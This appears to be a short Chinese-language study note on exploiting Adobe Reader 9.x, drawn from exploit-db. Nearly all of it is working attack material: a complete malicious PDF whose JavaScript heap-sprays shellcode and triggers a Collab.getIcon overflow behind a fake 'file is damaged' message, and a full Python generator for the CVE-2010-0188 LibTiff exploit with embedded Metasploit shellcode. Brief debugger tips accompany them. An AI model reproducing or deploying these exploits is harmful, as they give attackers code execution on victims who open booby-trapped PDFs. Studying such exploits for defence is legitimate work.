学习来自于: exploit-db
1)
首先 ADOBE Reader AdbeRdr90_zh_CN 9.0
需要注意的是 OD调试时 选择不忽略异常(要不然就直接跑掉,就不叫调试了)
编写好POC OD调试
发现 需要构造特殊字符
接着可以看到 0xc0xc0xc0xc 被 shellcode 覆盖 执行了 shellcode
%PDF-1.1 1 0 obj << /Type /Catalog /Outlines 2 0 R /Pages 3 0 R /OpenAction 7 0 R >> endobj 2 0 obj << /Type /Outlines /Count 0 >> endobj 3 0 obj << /Type /Pages /Kids [4 0 R] /Count 1 >> endobj 4 0 obj << /Type /Page /Parent 3 0 R /MediaBox [0 0 612 792] /Contents 5 0 R /Resources << /ProcSet [/PDF /Text] /Font << /F1 6 0 R >> >> >> endobj 5 0 obj << /Length 98 >> stream BT /F1 12 Tf 100 700 Td 15 TL (Open File Error! Maybe the file is damaged! ) Tj ET endstream endobj 6 0 obj << /Type /Font /Subtype /Type1 /Name /F1 /BaseFont /Helvetica /Encoding /MacRomanEncoding >> endobj 7 0 obj << /Type /Action /S /JavaScript /JS ( var shellcode=unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u0063"); var nops = unescape("%u9090%u9090"); while (nops.length < 0x100000) nops += nops; nops=nops.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length); nops=nops+shellcode; var memory = new Array(); for (var i=0;i<200;i++) memory[i] += nops; var str = unescape("%0c%0c%0c%0c"); while(str.length < 0x6000) str += str; app.doc.Collab.getIcon(str+'aaaaD.a'); ) >> endobj xref 0 8 0000000000 65535 f 0000000010 00000 n 0000000098 00000 n 0000000147 00000 n 0000000208 00000 n 0000000400 00000 n 0000000549 00000 n 0000000663 00000 n trailer << /Size 8 /Root 1 0 R >> startxref 1946 %%EOF
2)
ADOBE Reader
Version tested:
9.3.2
9.3.1
Adobe Systems Incorporated 直接崩溃
其中他的 c++代码 可以设置项目 不报waring 要不然很慢
http://www.exploit-db.com/exploits/14121/
3)
Version: <=8.3.0, <=9.3.0
__doc__=''' Title: Adobe PDF LibTiff Integer Overflow Code Execution. Product: Adobe Acrobat Reader Version: <=8.3.0, <=9.3.0 CVE: 2010-0188 Author: villy (villys777 at gmail.com) Site: http://bugix-security.blogspot.com/ Tested : succesfully tested on Adobe Reader 9.1/9.2/9.3 OS Windows XP(SP2,SP3) ------------------------------------------------------------------------ ''' import sys import base64 import struct import zlib import StringIO SHELLCODE_OFFSET = 0x555 TIFF_OFSET=0x2038 # windows/exec - 227 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=process, CMD=calc.exe buf ="\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" buf +="\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" buf +="\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" buf +="\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" buf +="\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" buf +="\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" buf +="\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" buf +="\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" buf +="\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" buf +="\x53" buf +="\x68\x64\x61\x30\x23" buf +="\x68\x23\x50\x61\x6E" buf +="\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8" class CVE20100188Exploit: def __init__(self,shellcode): self.shellcode = shellcode self.tiff64 = base64.b64encode(self.gen_tiff()) def gen_tiff(self): tiff = '\x49\x49\x2a\x00' tiff += struct.pack("<L", TIFF_OFSET) tiff += '\x90' * (SHELLCODE_OFFSET) tiff += self.shellcode tiff += '\x90' * (TIFF_OFSET - 8 - len(buf) - SHELLCODE_OFFSET) tiff += "\x07\x00\x00\x01\x03\x00\x01\x00" tiff += "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00" tiff += "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01" tiff += "\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00" tiff += "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20" tiff += "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00" tiff += "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00\xF7\x72\x00\x07\x04\x01" tiff += "\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15" tiff += "\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00" tiff += "\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8" tiff += "\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C" tiff += "\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01" tiff += "\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15" tiff += "\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15" tiff += "\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11" tiff += "\x00\x07" return tiff def gen_xml(self): xml= '''<?xml version="1.0" encoding="UTF-8" ?> <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <config xmlns="http://www.xfa.org/schema/xci/1.0/"> <present> <pdf> <version>1.65</version> <interactive>1</interactive> <linearized>1</linearized> </pdf> <xdp> <packets>*</packets> </xdp> <destination>pdf</destination> </present> </config> <template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/"> <subform name="topmostSubform" layout="tb" locale="en_US"> <pageSet> <pageArea id="PageArea1" name="PageArea1"> <contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" /> <medium short="612pt" long="792pt" stock="custom" /> </pageArea> </pageSet> <subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt"> <break before="pageArea" beforeTarget="#PageArea1" /> <bind match="none" /> <field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm"> <ui> <imageEdit /> </ui> </field> <?templateDesigner expand 1?> </subform> <?templateDesigner expand 1?> </subform> <?templateDesigner FormTargetVersion 24?> <?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?> <?templateDesigner Zoom 94?> </template> <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"> <xfa:data> <topmostSubform> <ImageField1 xfa:contentType="image/tif" href="">'''+self.tiff64 +'''</ImageField1> </topmostSubform> </xfa:data> </xfa:datasets> <PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" /> <form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="http://www.xfa.org/schema/xfa-form/2.8/"> <subform name="topmostSubform"> <instanceManager name="_Page1" /> <subform name="Page1"> <field name="ImageField1" /> </subform> <pageSet> <pageArea name="PageArea1" /> </pageSet> </subform> </form> </xdp:xdp> ''' return xml def gen_pdf(self): xml = zlib.compress(self.gen_xml()) pdf='''%PDF-1.6 1 0 obj <</Filter /FlateDecode/Length ''' + str(len(xml)) + '''/Type /EmbeddedFile>> stream ''' + xml+''' endstream endobj 2 0 obj <</V () /Kids [3 0 R] /T (topmostSubform[0]) >> endobj 3 0 obj <</Parent 2 0 R /Kids [4 0 R] /T (Page1[0])>> endobj 4 0 obj <</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P 5 0 R/FT /Btn/TU (ImageField1)/Ff 65536/Parent 3 0 R/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (ImageField1[0])/Rect [107.385 705.147 188.385 709.087]>> endobj 5 0 obj <</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent 6 0 R/Type /Page/PieceInfo null>> endobj 6 0 obj <</Kids [5 0 R]/Type /Pages/Count 1>> endobj 7 0 obj <</PageMode /UseAttachments/Pages 6 0 R/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm 8 0 R/Type /Catalog>> endobj 8 0 obj <</DA (/Helv 0 Tf 0 g )/XFA [(template) 1 0 R]/Fields [2 0 R]>> endobj xref trailer <</Root 7 0 R/Size 9>> startxref 14765 %%EOF''' return pdf if __name__=="__main__": print __doc__ if len(sys.argv) != 2: print "Usage: %s [output.pdf]" % sys.argv[0] print "Creating Exploit to %s\n"% sys.argv[1] exploit=CVE20100188Exploit(buf) f = open(sys.argv[1],mode='wb') f.write(exploit.gen_pdf()) f.close() print "[+] done !"